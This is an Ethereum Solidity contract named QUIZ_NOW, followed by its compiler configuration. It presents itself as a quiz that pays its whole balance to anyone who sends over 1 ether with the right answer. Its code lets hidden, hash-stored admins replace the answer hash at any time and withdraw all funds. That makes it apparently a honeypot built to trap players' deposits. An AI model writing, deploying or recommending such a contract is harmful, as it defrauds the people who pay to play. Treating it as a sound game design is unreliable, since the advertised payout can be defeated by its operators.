contract QUIZ_NOW
    {
        function Try(string _response) external payable 
        {
            require(msg.sender == tx.origin);

            if(responseHash == keccak256(_response) && msg.value > 1 ether)
            {
                msg.sender.transfer(this.balance);
            }
        }

        string public question;

        bytes32 responseHash;

        mapping (bytes32=>bool) admin;

        function Start(string _question, string _response) public payable isAdmin{
            if(responseHash==0x0){
                responseHash = keccak256(_response);
                question = _question;
            }
        }

        function Stop() public payable isAdmin {
            msg.sender.transfer(this.balance);
        }

        function New(string _question, bytes32 _responseHash) public payable isAdmin {
            question = _question;
            responseHash = _responseHash;
        }

        constructor(bytes32[] admins) public{
            for(uint256 i=0; i< admins.length; i++){
                admin[admins[i]] = true;        
            }       
        }

        modifier isAdmin(){
            require(admin[keccak256(msg.sender)]);
            _;
        }

        function() public payable{}
    }

{
  "compilationTarget": {
    "QUIZ_NOW.sol": "QUIZ_NOW"
  },
  "evmVersion": "byzantium",
  "libraries": {},
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}